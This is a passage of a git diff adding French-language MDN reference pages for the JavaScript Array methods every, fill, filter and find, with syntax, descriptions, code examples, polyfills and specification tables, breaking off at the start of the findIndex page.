+<p>Les éléments traités par la méthode <code>every</code> sont définis lors du premier appel à <code>callback</code>. Les éléments ajoutés au tableau après que l'appel à <code>every</code> ait commencé ne seront pas traités par la fonction <code>callback</code>. Si des éléments du tableau sont modifiés, la valeur passée à la fonction <code>callback</code> sera celle qu'ils ont au moment où <code>every</code> les traitera. Les éléments qui sont supprimés ne sont pas traités par la fonction <code>every</code>.</p>
+
+<p><code>every</code> agit de la même façon que le quantificateur mathématiques « pour tous », notamment pour le cas au limite d'un tableau vide pour lequel elle renvoie <code>true</code> (on dit qu'il est trivialement vrai que tous les éléments d'un <a href="https://fr.wikipedia.org/wiki/Ensemble_vide#Difficult.C3.A9s_de_la_notion_d.27ensemble_vide">ensemble vide</a> respectent n'importe quelle condition).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tester_la_valeur_des_éléments_d'un_tableau">Tester la valeur des éléments d'un tableau</h3>
+
+<p>Dans l'exemple suivant, on teste si tous les éléments du tableau sont supérieurs à 10.</p>
+
+<pre class="brush: js">function estAssezGrand(element, index, array) {
+  return element &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(estAssezGrand);   // false
+[12, 54, 18, 130, 44].every(estAssezGrand); // true
+</pre>
+
+<h3 id="Utiliser_les_fonctions_fléchées_avec_every">Utiliser les fonctions fléchées avec <code>every</code></h3>
+
+<p>{{jsxref("Fonctions/Fonctions_fl%C3%A9ch%C3%A9es","Les fonctions fléchées","","1")}} permettent d'utiliser une syntaxe plus concise pour effectuer le même test.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(elem =&gt; elem &gt;= 10); // false
+[12, 54, 18, 130, 44].every(elem =&gt; elem &gt;= 10); // true
+[{a:1, b:2}, {a:1, b:3}].every(elem =&gt; elem.a === 1); // true
+[{a:2, b:2}, {a:1, b:3}].every(elem =&gt; elem.a === 1); // false
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p><code>every</code> fut ajouté avec la cinquième édition du standard ECMA-262. Pour cette raison, il n'est pas nécessairement présent dans les différentes implémentations de ce standard. Afin de faire fonctionner du code dans un environnement qui ne possède pas cette fonctionnalité, on pourra utiliser le fragment de code suivant au début des scripts. Cet algorithme correspond exactement à celui défini dans la cinquième édition du standard ECMA-262. On prend l'hypothèse que <code>Object</code> et <code>TypeError</code> ont leurs valeurs originales (n'ont pas été modifiés) et que <code>callbackfn.call</code> correspond bien à la valeur originale de {{jsxref("Function.prototype.call")}}</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this vaut null ou n est pas défini');
+    }
+
+    // 1. Soit O le résultat de l'appel à ToObject auquel on a
+    // passé this comme argument
+    var O = Object(this);
+
+    // 2. Soit lenValue le résultat de l'appel de la méthode interne
+    //   Get sur O avec l'argument "length".
+    // 3. Soit len le résultat de ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. Si IsCallable(callbackfn) est faux, on lève une exception
+    // TypeError.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. Si thisArg a été fourni : soit T cette valeur thisArg, undefined sinon.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Soit k égal à 0.
+    k = 0;
+
+    // 7. On répète tant que k &lt; len
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Soit Pk la valeur de ToString(k).
+      //   (ce qui est implicite pour les opérandes gauche de in)
+      // b. Soit kPresent le résultat de l'appel de la méthode
+      //    interne de O avec l'argument Pk.
+      //    Cette étape peut être combinée avec l'étape c
+      // c. Si kPresent vaut true, alors
+      if (k in O) {
+
+        // i. Soit kValue le résultat de l'appel de la méthode
+        //    interne Get de O avec l'argument Pk.
+        kValue = O[k];
+
+        // ii. Soit testResult le résultat de l'appel de la méthode
+        //     interne Call de callbackfn avec T comme valeur this et
+        //     la liste d'argument contenant kValue, k, et O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. Si ToBoolean(testResult) vaut false, on renvoie false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.every")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/fill/index.html b/files/fr/web/javascript/reference/objets_globaux/array/fill/index.html
new file mode 100644
index 0000000000..9c5d0c1e6f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/fill/index.html
@@ -0,0 +1,155 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/fill
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>fill()</code></strong> remplit tous les éléments d'un tableau entre deux index avec une valeur statique. La valeur de l'index de fin n'est pas incluse. Cette méthode renvoie le tableau modifié.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-fill.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.fill(valeur<var><var>)
+</var>arr</var>.fill(valeur, <var>début<var>)
+</var>arr</var>.fill(valeur, <var>début<var>, <var>fin</var>)</var></var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Valeur avec laquelle remplir le tableau.</dd>
+ <dt><code>début</code> {{optional_inline}}</dt>
+ <dd>Index de début, la valeur par défaut est 0.</dd>
+ <dt><code>fin</code> {{optional_inline}}</dt>
+ <dd>Index de fin, la valeur par défaut est <code>this.length</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau modifié par la méthode.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les éléments pour lesquels on utilisera la valeur sont ceux contenus dans l'intervalle de positions [<code>début</code>, <code>fin</code>].</p>
+
+<p>La méthode <code>fill()</code> prend jusqu'à trois arguments : <code>valeur</code>, <code>début</code> et <code>fin</code>. Les arguments <code>début</code> et <code>fin</code> sont optionnels. Leurs valeurs par défaut sont respectivement <code>0</code> et la taille <code>length</code> de l'objet <code>this</code>.</p>
+
+<p>Si <code>début</code> est négatif, il sera traité comme <code>length+début</code> où <code>length</code> est la taille du tableau. Si <code>fin</code> est négatif, il est traité comme <code>length+fin</code>.</p>
+
+<p>La fonction <code>fill()</code> est intentionnellement générique, il n'est pas nécessaire que sa valeur <code>this</code> soit un objet <code>Array</code>.</p>
+
+<p>La méthode <code>fill()</code> est une méthode de modification, elle changera l'objet <code>this</code> lui-même, et renverra l'objet modifié. Elle ne crée pas de copie. Lorsque cette méthode reçoit un objet comme valeur, elle copiera l'objet passé et remplira le tableau avec une référence vers cette copie.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4);            // [4, 4, 4]
+[1, 2, 3].fill(4, 1);         // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);      // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);      // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);    // [4, 2, 3]
+[1, 2, 3].fill(4, 3, 3);      // [1, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);  // [1, 2, 3]
+Array(3).fill(4);             // [4, 4, 4]
+[].fill.call({length: 3}, 4); // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Les objets sont copiés via une référence
+var arr = Array(3).fill({}); // [{}, {}, {}];
+arr[0].yop = "yop"; // [{yop: "yop"}, {yop: "yop"}, {yop: "yop"}]
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // Steps 1-2.
+      if (this == null) {
+        throw new TypeError('this is null or not defined');
+      }
+
+      var O = Object(this);
+
+      // Steps 3-5.
+      var len = O.length &gt;&gt;&gt; 0;
+
+      // Steps 6-7.
+      var start = arguments[1];
+      var relativeStart = start &gt;&gt; 0;
+
+      // Step 8.
+      var k = relativeStart &lt; 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // Steps 9-10.
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end &gt;&gt; 0;
+
+      // Step 11.
+      var final = relativeEnd &lt; 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // Step 12.
+      while (k &lt; final) {
+        O[k] = value;
+        k++;
+      }
+
+      // Step 13.
+      return O;
+    }
+  });
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.fill")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/filter/index.html b/files/fr/web/javascript/reference/objets_globaux/array/filter/index.html
new file mode 100644
index 0000000000..fdd8fa023a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/filter/index.html
@@ -0,0 +1,228 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/filter
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>filter()</strong></code> crée et retourne un nouveau tableau contenant tous les éléments du tableau d'origine qui remplissent une condition déterminée par la fonction <code>callback</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.filter(<var>callback)</var>; // callback(elementCourant[, index[, tableauEntier]])
+var nouveauTableau = arr.filter(callback, <var>thisArg</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction de test (ou <em>prédicat</em>) à appliquer à chaque élément du tableau. Cette fonction est appelée avec les arguments suivants :
+ <dl>
+  <dt><code>elementCourant</code></dt>
+  <dd>L'élément à traiter</dd>
+  <dt><code>index</code></dt>
+  <dd>Son indice.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau complet</dd>
+ </dl>
+ Cette fonction renvoie <code>true</code> — ou une valeur équivalente — si l'élément doit être conservé pour le tableau résultat et <code>false</code> dans le cas contraire.</dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Objet à utiliser en tant que <code>this</code> quand la fonction <code>callback</code> est exécutée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau contenant les éléments qui respectent la condition du filtre. Si aucun élément ne respecte la condition, c'est un tableau vide qui est renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>filter()</code> appelle la fonction <code>callback</code> fournie pour chacun des éléments d'un tableau, et construit un nouveau tableau contenant tous les éléments pour lesquels l'appel de <code>callback</code> retourne <code>true</code> ou une valeur équivalente à <code>true</code> dans un contexte booléen. La fonction <code>callback</code> n'est utilisée que pour les éléments du tableau ayant une valeur assignée — les index supprimés ou pour lesquels il n'y a jamais eu de valeur ne sont pas pris en compte. Les éléments du tableau qui ne passent pas le test effectué par la fonction <code>callback</code> sont ignorés, ils ne sont pas inclus dans le nouveau tableau.</p>
+
+<p>La fonction <code>callback</code> est appelée avec trois arguments :</p>
+
+<ol>
+ <li>la valeur de l'élément courant,</li>
+ <li>l'index de l'élément courant,</li>
+ <li>l'objet <code>Array</code> parcouru.</li>
+</ol>
+
+<p>Si le paramètre <code>thisArg</code> est fourni, il sera utilisé comme valeur <code>this</code> lors de l'appel de la fonction <code>callback</code>. S'il n'est pas fourni, la valeur <code>undefined</code> sera utilisée à la place. La valeur de <code>this</code> qui est finalement utilisée par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">les règles usuelles pour déterminer la valeur <code>this</code> au sein d'une fonction</a>.</p>
+
+<p>Noter que <code>filter()</code> ne modifie pas le tableau d'origine.</p>
+
+<p>La liste des éléments parcourus par <code>filter()</code> est définie avant la première invocation de la fonction <code>callback</code>. Les éléments qui sont ajoutés à la liste après le début de l'appel de <code>filter()</code> (grâce à la fonction <code>callback</code> par exemple) ne seront pas concernés par le filtre. Si des éléments de la liste sont modifiés ou supprimés au cours du traitement, la valeur fournie à la fonction <code>callback</code> sera la valeur de ces éléments au moment où <code>filter()</code> les traite — les éléments supprimés ne seront pas traités par la fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Filtrer_les_petites_valeurs">Filtrer les petites valeurs</h3>
+
+<p>L'exemple suivant utilise <code>filter</code> pour créer une nouvelle liste où tous les éléments dont la valeur est inférieure à 10 ont été retirés.</p>
+
+<pre class="brush: js">function suffisammentGrand(element) {
+  return element &gt;= 10;
+}
+var filtre = [12, 5, 8, 130, 44].filter(suffisammentGrand);
+// filtre vaut [12, 130, 44]
+</pre>
+
+<h3 id="Filtrer_des_éléments_JSON_invalides_et_les_trier_en_fonction_d'un_identifiant_avec_filter()">Filtrer des éléments JSON invalides et les trier en fonction d'un identifiant avec <code>filter()</code></h3>
+
+<p>Dans l'exemple qui suit, on utilise <code>filter()</code> pour créer un objet JSON qui contient des éléments dont l'<code>id</code> est un entier.</p>
+
+<pre class="brush: js">var arr = [
+  { id: 15 },
+  { id: -1 },
+  { id: 0 },
+  { id: 3 },
+  { id: 12.2 },
+  { },
+  { id: null },
+  { id: NaN },
+  { id: 'undefined' }
+];
+
+var elementsInvalides = 0;
+
+function filtrerParID(obj) {
+  // Si c'est un nombre
+  if (obj.id !== undefined &amp;&amp; typeof(obj.id) === 'number' &amp;&amp; !isNaN(obj.id)) {
+    return true;
+  } else {
+    elementsInvalides++;
+    return false;
+  }
+}
+
+var arrByID = arr.filter(filtrerParID);
+
+console.log('Tableau filtré\n', arrByID);
+// Le tableau filtré est :
+// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Nombre d\'éléments invalides = ', elementsInvalides);
+// Nombre d'éléments invalides 4</pre>
+
+<h3 id="Recherche_dans_un_tableau">Recherche dans un tableau</h3>
+
+<p>Dans l'exemple qui suit, on utilise <code>filter()</code> pour filtrer le contenu d'un tableau selon un critère donné.</p>
+
+<pre class="brush: js">var fruits = ['pomme', 'banane', 'raisin', 'mangue'];
+
+function filtreTexte(arr, requete) {
+  return arr.filter(function (el) {
+    return el.toLowerCase().indexOf(requete.toLowerCase()) !== -1;
+  })
+}
+
+console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue'];
+console.log(filtreTexte(fruits, 'm')); // ['pomme', 'mangue'];
+</pre>
+
+<h3 id="Implémentation_avec_la_syntaxe_ECMAScript_2015_(ES6)">Implémentation avec la syntaxe ECMAScript 2015 (ES6)</h3>
+
+<p>L'exemple suivant utilise <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">les fonctions fléchées</a>, et le mot clé <a href="/fr/docs/Web/JavaScript/Reference/Instructions/const"><code>const</code> </a>disponible en ES6.</p>
+
+<pre class="brush: js">const fruits = ['pomme', 'banane', 'raisin', 'mangue'];
+
+const filtreTexte = (arr, requete) =&gt; {
+  return arr.filter(el =&gt;  el.toLowerCase().indexOf(requete.toLowerCase()) !== -1);
+}
+
+console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue'];
+console.log(filtreTexte(fruits, 'm')); // ['pomme', 'mangue'];</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p><code>Array.prototype.filter()</code> a été ajoutée avec la cinquième édition du standard ECMA-262 — ainsi elle pourrait ne pas être présente dans toutes les implémentations du standard. Ce problème peut être contourné en ajoutant le code suivant au début des scripts et permettra d'utiliser <code>filter</code> au sein d'implémentations qui n'en bénéficient pas nativement. Cet algorithme est strictement celui spécifié par la cinquième édition d'ECMA-262, en considérant que <code>callbackfn.call</code> est évaluée avec la valeur d'origine de {{jsxref("Function.prototype.call")}} et que {{jsxref("Array.prototype.push")}} a sa valeur d'origine.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter){
+  Array.prototype.filter = function(func, thisArg) {
+    'use strict';
+    if ( ! ((typeof func === 'Function' || typeof func === 'function') &amp;&amp; this) )
+        throw new TypeError();
+
+    var len = this.length &gt;&gt;&gt; 0,
+        res = new Array(len), // preallocate array
+        t = this, c = 0, i = -1;
+    if (thisArg === undefined){
+      while (++i !== len){
+        // checks to see if the key was set
+        if (i in this){
+          if (func(t[i], i, t)){
+            res[c++] = t[i];
+          }
+        }
+      }
+    }
+    else{
+      while (++i !== len){
+        // checks to see if the key was set
+        if (i in this){
+          if (func.call(thisArg, t[i], i, t)){
+            res[c++] = t[i];
+          }
+        }
+      }
+    }
+
+    res.length = c; // shrink down array to proper size
+    return res;
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.filter")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/find/index.html b/files/fr/web/javascript/reference/objets_globaux/array/find/index.html
new file mode 100644
index 0000000000..c6675f0b1b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/find/index.html
@@ -0,0 +1,145 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/find
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>find()</strong></code> renvoie la <strong>valeur</strong> du <strong>premier élément trouvé </strong>dans le tableau qui respecte la condition donnée par la fonction de test passée en argument. Sinon, la valeur {{jsxref("undefined")}} est renvoyée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-find.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Voir aussi la méthode {{jsxref("Array.findIndex", "findIndex()")}} qui renvoie l'<strong>index</strong> de l'élément trouvé et non sa valeur. Si on souhaite repérer la position d'un élément donné dans le tableau, on pourra utiliser {{jsxref("Array.prototype.indexOf()")}}. Si on souhaite déterminer si un tableau contient un élément donné, on pourra utiliser la méthode {{jsxref("Array.prototype.includes()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.find(<var>callback</var>(element[, index[, tableau]])[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Fonction à exécuter sur chaque valeur du tableau, elle prend 3 arguments :
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>L'élément actuellement traité dans le tableau.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>L'index de l'élément actuellement traité dans le tableau</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Le tableau pour lequel la méthode <code>find</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Ce paramètre est optionnel. Objet à utiliser en tant que <code>this</code> lorsque la fonction <code>callback</code> est exécutée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur du premier élément du tableau qui réussit le test, sinon {{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>find</code> exécute la fonction <code>callback</code> une fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle retourne une valeur vraie (qui peut être convertie en <code>true</code>). Si un élément est trouvé, <code>find</code> retourne immédiatement la valeur de l'élément. Autrement, <code>find</code> retourne <code>undefined</code>. La méthode <code>callback</code> est seulement appelée pour les index du tableau pour lesquels on dispose d'une valeur. Elle n'est pas appelée pour les index supprimés ou pour ceux qui n'ont pas de valeur.</p>
+
+<p>La méthode <code>callback</code> est appelée avec trois arguments : la valeur de l'élément, l'index de l'élément, et l'objet correspondant au tableau traversé.</p>
+
+<p>Si le paramètre <code>thisArg</code> est fourni à <code>find</code>, il sera utilisé comme le <code>this</code> pour chaque exécution de la fonction <code>callback</code>. S'il n'est pas fourni, alors {{jsxref("undefined")}} sera utilisé.</p>
+
+<p><code>find</code> ne modifie pas le tableau à partir duquel elle est appelée.</p>
+
+<p>L'intervalle des éléments inspectés par <code>find</code> est défini avant la première exécution de <code>callback</code>. Les éléments ajoutés au tableau après l'appel à <code>find</code> ne seront pas inspectés par la fonction <code>callback</code>. Si un élément existant est modifié avant le passage du <code>callback</code>, alors la valeur traitée par le <code>callback</code> sera celle présente lors du passage de <code>find</code> sur son index. Les éléments supprimés ne seront pas traités.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Trouver_un_objet_dans_un_tableau_grâce_à_une_de_ses_propriétés">Trouver un objet dans un tableau grâce à une de ses propriétés</h3>
+
+<pre class="brush: js">const inventaire = [
+  {nom: 'pommes', quantité: 2},
+  {nom: 'bananes', quantité: 0},
+  {nom: 'cerises', quantité: 5}
+];
+
+function estCerises(fruit) {
+  return fruit.nom === 'cerises';
+}
+
+console.log(inventaire.find(estCerises));
+// { nom: 'cerises', quantité: 5}</pre>
+
+<h4 id="Utiliser_les_fonctions_fléchées_ES6ES2015">Utiliser les fonctions fléchées ES6/ES2015</h4>
+
+<pre class="brush: js">const inventaire = [
+                     {nom: 'pommes', quantité: 2},
+                     {nom: 'bananes', quantité: 0},
+                     {nom: 'cerises', quantité: 5}
+                   ];
+
+const resultat = inventaire.find( fruit =&gt; fruit.nom === 'cerises');
+console.log(resultat);
+// { nom: 'cerises', quantité: 5}</pre>
+
+<h3 id="Trouver_un_nombre_premier_dans_un_tableau">Trouver un nombre premier dans un tableau</h3>
+
+<p>Dans l'exemple suivant, on cherche un nombre premier parmi les éléments d'un tableau (ou retourne <code>undefined</code> s'il n'y en a pas ).</p>
+
+<pre class="brush: js">function estPremier(element, index, array) {
+    let début = 2;
+    while (début &lt;= Math.sqrt(element)) {
+        if (element % début ++ &lt; 1) return false;
+    }
+    return (element &gt; 1);
+}
+
+console.log( [4, 6, 8, 12].find(estPremier) ); // undefined, rien trouvé
+console.log( [4, 5, 8, 12].find(estPremier) ); // 5
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.find")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} – trouver et renvoyer un index</li>
+ <li>{{jsxref("Array.prototype.includes()")}} – tester si une valeur existe dans le tableau</li>
+ <li>{{jsxref("Array.prototype.filter()")}} – trouver tous les éléments correspondants</li>
+ <li>{{jsxref("Array.prototype.every()")}} – tester l'ensemble des éléments d'un tableau</li>
+ <li>{{jsxref("Array.prototype.some()")}} – tester si au moins un élément du tableau respecte un critère</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html b/files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html
new file mode 100644
index 0000000000..3d116dfe97
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html
@@ -0,0 +1,179 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/findIndex
+tags:
